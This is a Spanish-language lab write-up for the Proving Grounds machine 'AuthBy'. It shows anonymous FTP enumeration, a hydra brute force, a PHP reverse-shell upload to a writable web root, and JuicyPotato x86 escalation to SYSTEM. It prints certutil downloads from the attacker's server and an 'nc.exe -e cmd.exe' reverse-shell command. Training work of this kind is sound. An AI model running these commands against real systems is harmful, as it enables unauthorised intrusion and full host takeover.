the_open_door
café
ESEN

AuthBy

Proving Grounds PracticeMediaWindows192.168.247.46

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#ftp#anonymous#zftpserver#hydra#brute-force#writable-webroot#php#seimpersonate#juicypotato#oscp
TL;DR. AuthBy es un WAMP sobre Windows Server 2008. El FTP (zFTPServer) permite acceso anónimo y expone el directorio de cuentas (FTP anónimo); un hydra saca admin/admin (fuerza bruta). Esa cuenta FTP está sincronizada con el web root de Apache (puerto 242), así que subimos una webshell PHP y la ejecutamos como apache. El usuario tiene SeImpersonatePrivilege y el SO es de 32 bits, así que JuicyPotato x86 nos da SYSTEM (SeImpersonate + Potato).

Reconocimiento

Escaneo inicial

El TTL de respuesta es 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido encuentra FTP, un HTTP en un puerto atípico, el panel de administración de zFTPServer y RDP:

ping -c 1 192.168.247.46
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.247.46
PORT     STATE SERVICE
21/tcp   open  ftp
242/tcp  open  http
3145/tcp open  zftp-admin
3389/tcp open  ms-wbt-server
nmap -p21,242,3145,3389 -sCV 192.168.247.46 -oN targetedScan
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
242/tcp  open  http          Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
|_http-title: 401 Authorization Required
3145/tcp open  zftp-admin    zFTPServer admin
3389/tcp open  ms-wbt-server Microsoft Terminal Service
| rdp-ntlm-info:
|_  NetBIOS_Computer_Name: LIVDA

El HTTP del 242 responde 401 con Basic Auth (realm=Qui e nuce nuculeum esse volt, frangit nucem!): hay una zona protegida.

FTP - TCP 21

El acceso anónimo está permitido (FTP anónimo). Recorriendo el árbol aparece un directorio accounts con un fichero de cuenta por usuario:

ftp 192.168.247.46      # login: anonymous
ftp> cd accounts
ftp> dir
dr-xr-xr-x   1 root  root  512  Jan 25 06:01 backup
----------   1 root  root  764  Jan 25 06:01 acc[Offsec].uac
----------   1 root  root 1034  Feb 06 00:49 acc[anonymous].uac
----------   1 root  root  928  Feb 06 00:53 acc[admin].uac

Los nombres acc[Offsec].uac y acc[admin].uac confirman dos usuarios del servidor FTP: Offsec y admin.

Explotación

Fuerza bruta del FTP

Con admin como usuario válido, lanzamos hydra contra el FTP y cae con una contraseña trivial (fuerza bruta):

hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.247.46 -I -t 64
[21][ftp] host: 192.168.247.46   login: admin   password: admin

Web root escribible vía FTP

La cuenta admin del FTP está sincronizada con el web root de Apache. Al listar su raíz vemos los ficheros del sitio protegido, incluidos .htaccess y .htpasswd:

ftp> dir
-r--r--r--   1 root  root   76  Nov 08  2011 index.php
-r--r--r--   1 root  root   45  Nov 08  2011 .htpasswd
-r--r--r--   1 root  root  161  Nov 08  2011 .htaccess

Descargamos los tres (mget *). El .htpasswd guarda el hash de la Basic Auth del 242, que se craquea a la pareja offsec/elite. Y, sobre todo, podemos escribir en ese directorio, que es el web root: si subimos un .php, Apache lo ejecutará. Subimos una reverse shell PHP y la invocamos con las credenciales de la zona protegida:

El payload sale de revshells.com, poniendo nuestra IP y el puerto 3145, y eligiendo la variante PHP Ivan Sincek, que es la que funciona tanto en Linux como en Windows (la clásica de pentestmonkey depende de /bin/sh, y aquí el objetivo es un Server 2008):

revshells.com con IP 192.168.45.204 y puerto 3145, la plantilla PHP Ivan Sincek seleccionada y el shell fijado a cmd

IP 192.168.45.204   Port 3145
PHP Ivan Sincek
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
Shell: cmd    Encoding: None

Ese código se guarda como rev.php y se sube por el FTP:

ftp> put rev.php

Con Penelope a la escucha en el 3145 (el puerto fijado en rev.php), la solicitamos:

penelope
(Penelope)> listeners add -p 3145
curl -u offsec:elite "http://192.168.247.46:242/rev.php"

rev.php se ejecuta a traves del 242 y Penelope recibe la shell como livda\apache

(Penelope)> listeners add -p 3145
[+] Listening for reverse shells on 0.0.0.0:3145 ...
[+] Got reverse shell from LIVDA~192.168.247.46-Microsoft_Windows_Server_2008_Standard_-X86-based_PC 😎 Assigned SessionID <1>

C:\wamp\bin\apache\Apache2.2.21>whoami
livda\apache

La shell corre como apache.

Local

type local.txt & whoami & ipconfig & hostname

local.txt leída como livda/apache

60f19cf2953fb9bbf6cc787bb2ad2c8f
livda\apache

Escalada de privilegios

SeImpersonatePrivilege en x86

Comprobamos los privilegios del token y la versión del sistema:

whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"System Type"

whoami /priv muestra SeImpersonatePrivilege Enabled en un Server 2008 x86

SeImpersonatePrivilege        Impersonate a client after authentication   Enabled
OS Name:     Microsoftr Windows Serverr 2008 Standard
System Type: X86-based PC

SeImpersonatePrivilege permite suplantar el token de un cliente que se conecte a nosotros; combinado con un servicio COM privilegiado, un ataque "Potato" nos entrega SYSTEM (SeImpersonate + Potato). Como el sistema es de 32 bits (Server 2008), el JuicyPotato original (repo) no sirve tal cual: solo publica binario x64. La herramienta adecuada es su port a x86 (jp32.exe).

Con nc a la escucha en el 4646 (el puerto del argumento -a de jp32):

rlwrap nc -nlvp 4646

Ambos binarios se preparan en el atacante: Juicy.Potato.x86.exe de las releases del port x86 (repo), renombrado a jp32.exe por comodidad, y el nc.exe que viene dentro del zip de netcat para Windows. Se sirven por HTTP:

wget https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe
mv Juicy.Potato.x86.exe jp32.exe
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
unzip netcat-win32-1.12.zip
python3 -m http.server 80

wget de Juicy.Potato.x86.exe renombrado a jp32.exe, unzip del netcat para Windows que extrae nc.exe y nc64.exe, y http.server sirviendo el directorio

Archive:  netcat-win32-1.12.zip
  inflating: netcat.c
  inflating: readme.txt
  inflating: nc.exe
  inflating: nc64.exe
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde la víctima los descargamos con certutil y disparamos con un CLSID válido:

certutil.exe -f -urlcache -split http://192.168.45.204/jp32.exe jp32.exe
certutil.exe -f -urlcache -split http://192.168.45.204/nc.exe nc.exe
.\jp32.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe 192.168.45.204 4646" -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

JuicyPotato x86 suplanta el token y la reverse shell devuelve nt authority\system

[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

Proof

type proof.txt & whoami & ipconfig & hostname

proof.txt leída como nt authority\system en Authby

5cbb9d032e907e6c97878dddefc1b545
nt authority\system

Cadena de ataque

FTP (21)  --  zFTPServer, acceso anónimo -> accounts (usuarios Offsec, admin)
        │  hydra -> admin/admin
        │  cuenta FTP sincronizada con el web root de Apache (242)
        │  subir rev.php -> curl -u offsec:elite -> shell
        ▼
apache  (local.txt)  [SeImpersonatePrivilege, x86]
        │  JuicyPotato x86 (jp32.exe) + CLSID -> nc.exe
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • El FTP anónimo lo enseña todo. Aquí el directorio accounts reveló los nombres de usuario del propio servidor, y con un nombre válido la fuerza bruta se vuelve dirigida. Nunca dejes listable la configuración interna del servicio.
  • admin/admin no es una contraseña. Un hydra con rockyou la saca en segundos. Las cuentas administrativas necesitan contraseñas fuertes y, mejor, MFA.
  • FTP sincronizado con el web root = subida de webshell. Poder escribir un .php en el directorio que sirve Apache es RCE directo. Separar las rutas de escritura FTP del document root habría cortado la cadena.
  • SeImpersonate en x86 sigue siendo SYSTEM. JuicyPotato en su variante de 32 bits abusa igual del privilegio en sistemas antiguos como Server 2008. Ese privilegio no debería concederse a la cuenta de un servicio web expuesto.
Cheatsheet de comandos 8 comandos

Repaso rápido